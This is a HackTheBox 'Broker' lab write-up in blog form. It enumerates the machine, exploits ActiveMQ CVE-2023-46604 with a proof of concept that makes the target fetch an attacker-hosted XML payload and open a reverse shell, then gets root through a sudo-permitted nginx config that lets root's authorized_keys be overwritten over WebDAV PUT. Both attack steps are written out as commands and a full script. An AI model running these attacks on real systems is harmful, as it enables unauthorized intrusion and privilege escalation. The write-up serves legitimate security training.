Broker - HackTheBox

Enumeration#
Let’s start with a simple port scan:
nmap -sC -sV -v 10.129.230.87
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ basic realm=ActiveMQRealm
|_http-title: Error 401 Unauthorized
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
I am looking for an ActiveMQ service, which wasn’t revealed by this scan. Let’s include more ports in a second scan:
nmap -sC -sV -v 10.129.230.87 --top-ports 10000
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Error 401 Unauthorized
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ basic realm=ActiveMQRealm
1883/tcp open mqtt
| mqtt-subscribe:
| Topics and their most recent payloads:
|_ ActiveMQ/Advisory/Consumer/Topic/#:
5672/tcp open amqp?
|_amqp-info: ERROR: AQMP:handshake expected header (1) frame, but was 65
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest, HTTPOptions, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie:
| AMQP
| AMQP
| amqp:decode-error
|_ 7Connection from client using unsupported AMQP attempted
8161/tcp open http Jetty 9.4.39.v20210325
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ basic realm=ActiveMQRealm
|_http-server-header: Jetty(9.4.39.v20210325)
|_http-title: Error 401 Unauthorized
39489/tcp open tcpwrapped
61613/tcp open stomp Apache ActiveMQ
| fingerprint-strings:
| HELP4STOMP:
| ERROR
| content-type:text/plain
| message:Unknown STOMP action: HELP
| org.apache.activemq.transport.stomp.ProtocolException: Unknown STOMP action: HELP
| org.apache.activemq.transport.stomp.ProtocolConverter.onStompCommand(ProtocolConverter.java:258)
| org.apache.activemq.transport.stomp.StompTransportFilter.onCommand(StompTransportFilter.java:85)
| org.apache.activemq.transport.TransportSupport.doConsume(TransportSupport.java:83)
| org.apache.activemq.transport.tcp.TcpTransport.doRun(TcpTransport.java:233)
| org.apache.activemq.transport.tcp.TcpTransport.run(TcpTransport.java:215)
|_ java.lang.Thread.run(Thread.java:750)
61616/tcp open apachemq ActiveMQ OpenWire transport
| fingerprint-strings:
| NULL:
| ActiveMQ
| TcpNoDelayEnabled
| SizePrefixDisabled
| CacheSize
| ProviderName
| ActiveMQ
| StackTraceEnabled
| PlatformDetails
| Java
| CacheEnabled
| TightEncodingEnabled
| MaxFrameSize
| MaxInactivityDuration
| MaxInactivityDurationInitalDelay
| ProviderVersion
|_ 5.15.15
Ok, looks like it’s running on 61616 and is version 5.15.15. Let’s search for a CVE before we go any further.
Research On CVE#
I found this from https://activemq.apache.org/news/cve-2023-46604:
The Java OpenWire protocol marshaller is vulnerable to Remote Code Execution. This vulnerability may allow a remote attacker with network access to either a Java-based OpenWire broker or client to run arbitrary shell commands by manipulating serialized class types in the OpenWire protocol to cause either the client or the broker (respectively) to instantiate any class on the classpath.
Initial Foothold#
Let’s look up some POC’s in metasploit
msf > search "cve-2023-46604"
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/misc/apache_activemq_rce_cve_2023_46604 2023-10-27 excellent Yes Apache ActiveMQ Unauthenticated Remote Code Execution
1 \_ target: Windows . . . .
2 \_ target: Linux . . . .
3 \_ target: Unix . .
Metasploit isn’t working for me. I’ll quickly try this github repo and see if we I can get RCE.
Set up a server:
python -m http.server 8080
And run the script:
david@red:~/Pentest/tools/CVE-2023-46604$ go run main.go -i 10.129.230.87 -p 61616 -u http://10.10.17.8:8080/poc-linux.xml
_ _ _ __ __ ___ ____ ____ _____
/ \ ___| |_(_)_ _____| \/ |/ _ \ | _ \ / ___| ____|
/ _ \ / __| __| \ \ / / _ \ |\/| | | | |_____| |_) | | | _|
/ ___ \ (__| |_| |\ V / __/ | | | |_| |_____| _ <| |___| |___
/_/ \_\___|\__|_| \_/ \___|_| |_|\__\_\ |_| \_\\____|_____|
[*] Target: 10.129.230.87:61616
[*] XML URL: http://10.10.17.8:8080/poc-linux.xml
[*] Sending packet: 000000771f000000000000000000010100426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e74657874010024687474703a2f2f31302e31302e31372e383a383038302f706f632d6c696e75782e786d6c
I also needed to edit the xml file to include my ip address, plus start a netcat listener on 9001… and I’m IN!
Recon#
Let’s upgrade the terminal… there’s no python on the box, so we’ll settle for this:
script -q /dev/null /bin/bash
Running some basic commands:
activemq@broker:/opt/apache-activemq-5.15.15/bin$ id; whoami; pwd
id; whoami; pwd
uid=1000(activemq) gid=1000(activemq) groups=1000(activemq)
activemq
/opt/apache-activemq-5.15.15/bin
activemq@broker:/opt/apache-activemq-5.15.15/bin$ sudo -l
sudo -l
Matching Defaults entries for activemq on broker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User activemq may run the following commands on broker:
(ALL : ALL) NOPASSWD: /usr/sbin/nginx
activemq@broker:/opt/apache-activemq-5.15.15/bin$
So we’re in the bin directory. Also, we can run /usr/sbin/nginx as root! Useful for later. For now, I’ll capture the user flag and see which direction the hints guide me in.
cd /home
activemq@broker:/home$ dir
dir
activemq
activemq@broker:/home$ cd activemq
cd activemq
activemq@broker:~$ dir
dir
user.txt
activemq@broker:~$ cat user.txt
cat user.txt
982d41ffdbb22dae7420ee5c58cf2a3a
activemq@broker:~$
Privesc#
Turns out my nose was in the right place - the next hint asks for a binary activemq can run as any other user with sudo (/usr/sbin/nginx).
I’m going to quickly search sites like GTFOBins for nginx.
Can we just use this? https://github.com/DylanGrl/nginx_sudo_privesc
Yes, it’s that simple. I’m going to try and understand it - it leverages webdav…
Analysing the script - we run nginx as root, use that to add an SSH key to the root user, then simply run SSH with our added key. I’ll need to tweak this slightly for the current environment:
#!/bin/sh
echo "[+] Creating configuration..."
cat << EOF > /tmp/nginx_pwn.conf
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
worker_connections 768;
}
http {
server {
listen 1339;
root /;
autoindex on;
dav_methods PUT;
}
}
EOF
echo "[+] Loading configuration..."
sudo nginx -c /tmp/nginx_pwn.conf
echo "[+] Generating SSH Key..."
ssh-keygen
echo "[+] Display SSH Private Key for copy..."
cat .ssh/id_rsa
echo "[+] Add key to root user..."
curl -X PUT localhost:1339/root/.ssh/authorized_keys -d "$(cat .ssh/id_rsa.pub)"
echo "[+] Use the SSH key to get access"
Let’s do it manually. First, I’ll create the config file on the server.
Next, running the server, I see this error:
sudo nginx -c /tmp/nginx_pwn.conf
nginx: [emerg] bind() to 0.0.0.0:1339 failed (98: Unknown error)
nginx: [emerg] bind() to 0.0.0.0:1339 failed (98: Unknown error)
nginx: [emerg] bind() to 0.0.0.0:1339 failed (98: Unknown error)
nginx: [emerg] bind() to 0.0.0.0:1339 failed (98: Unknown error)
nginx: [emerg] bind() to 0.0.0.0:1339 failed (98: Unknown error)
nginx: [emerg] still could not bind()
activemq@broker:/tmp$
Hmm, let’s ChatGPT the issue. Maybe nginx is already running? Maybe I need to specify a different ip address?
That error means nginx cannot bind to port
1339because the port is already in use (or otherwise unavailable).
I retried on port 5566… this ran with no message the first time, then gave back an error the second time. This SUGGESTS that the process is already running. I should have run a process check.
I can do better than that! Let’s use netstat to confirm my hypothesis:
activemq@broker:~/.ssh$ netstat -tuln
netstat -tuln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:5566 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:1339 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp6 0 0 :::5672 :::* LISTEN
tcp6 0 0 :::8161 :::* LISTEN
tcp6 0 0 :::1883 :::* LISTEN
tcp6 0 0 :::39489 :::* LISTEN
tcp6 0 0 :::61616 :::* LISTEN
tcp6 0 0 :::61613 :::* LISTEN
tcp6 0 0 :::61614 :::* LISTEN
tcp6 0 0 :::22 :::* LISTEN
udp 0 0 127.0.0.53:53 0.0.0.0:*
udp 0 0 0.0.0.0:68 0.0.0.0:*
activemq@broker:~/.ssh$
I see stuff running on those ports. Good enough for me. I proceeded with the other exploit commands… now we’ll store the generated ssh key and use it to connect to our host.
chmod 600 root_key
ssh -i root_key root@10.129.230.87
I GOT IT! I am now in… but NOT without tribulation. I tried to use ssh as activemq on the broker machine, and it didn’t work. It worked when I copied it to my local machine and used it. Why?
Ahh… I could have used ssh root@localhost, silly me. Nonetheless, we got there!
david@red:~/Downloads$ ssh -i root_key root@10.129.230.87
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon Jan 12 12:41:04 PM UTC 2026
System load: 0.0
Usage of /: 70.8% of 4.63GB
Memory usage: 12%
Swap usage: 0%
Processes: 169
Users logged in: 0
IPv4 address for eth0: 10.129.230.87
IPv6 address for eth0: dead:beef::250:56ff:fe94:2d6b
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
root@broker:~# ls
cleanup.sh root.txt
root@broker:~# cat root.txt
e2855ba2ff137a93257a15d3a40b1621
root@broker:~#
Reflection#
- Using this blog makes me better at thinking things through… I will continue to do so
- I liked how I decided to use the privilege escalation Github repo step-by-step
- I could have privesced way quicker by remembering to ssh to localhost!